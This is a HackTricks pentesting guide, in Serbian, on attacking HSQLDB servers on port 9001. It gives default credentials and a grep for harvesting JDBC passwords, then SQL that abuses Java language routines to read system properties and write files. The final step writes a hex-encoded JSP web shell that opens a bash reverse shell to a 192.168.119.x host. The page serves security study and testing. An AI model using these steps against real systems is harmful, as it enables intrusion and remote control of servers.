hacktricks/network-services-pentesting/9001-pentesting-hsqldb.md

5.3 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Osnovne informacije

HSQLDB (HyperSQL DataBase) je vodeći SQL relacijski sistem baza podataka napisan u Javi. Pruža mali, brzi višedretveni i transakcijski motor baze podataka sa tabelama u memoriji i na disku, i podržava ugrađene i serverske režime.

Podrazumevani port: 9001

9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Information

Default Settings

Imajte na umu da je po defaultu ova usluga verovatno pokrenuta u memoriji ili je vezana za localhost. Ako ste je pronašli, verovatno ste iskoristili drugu uslugu i tražite da povećate privilegije.

Podrazumevani kredencijali su obično sa sa praznom lozinkom.

Ako ste iskoristili drugu uslugu, pretražite moguće kredencijale koristeći

grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

Napomena pažljivo zabeležite ime baze podataka - biće vam potrebno za povezivanje.

Prikupljanje informacija

Povežite se na DB instancu preuzimanjem HSQLDB i ekstraktovanjem hsqldb/lib/hsqldb.jar. Pokrenite GUI aplikaciju eww koristeći java -jar hsqldb.jar i povežite se na instancu koristeći otkrivene/slabe akreditive.

Napomena: URL za povezivanje će izgledati otprilike ovako za udaljeni sistem: jdbc:hsqldb:hsql://ip/DBNAME.

Trikovi

Java jezičke rutine

Možemo pozvati statičke metode Java klase iz HSQLDB koristeći Java jezičke rutine. Imajte na umu da klasa koja se poziva mora biti u classpath-u aplikacije.

JRT-ovi mogu biti funkcije ili procedure. Funkcije se mogu pozivati putem SQL izjava ako Java metoda vraća jednu ili više SQL-kompatibilnih primitivnih promenljivih. Pozivaju se koristeći VALUES izjavu.

Ako Java metoda koju želimo da pozovemo vraća void, moramo koristiti proceduru koja se poziva sa CALL izjavom.

Čitanje Java sistemskih svojstava

Kreirajte funkciju:

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

Izvrši funkciju:

VALUES(getsystemproperty('user.name'))

Možete pronaći spisak sistemskih svojstava ovde.

Pisanje sadržaja u datoteku

Možete koristiti com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename Java gadget koji se nalazi u JDK automatski učitan u klasu aplikacije da biste zapisali heksadecimalno kodirane stavke na disk putem prilagođene procedure. Napomena: maksimalna veličina je 1024 bajta.

Kreirajte proceduru:

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

Izvrši proceduru:

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))

{% hint style="success" %} Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks
{% endhint %}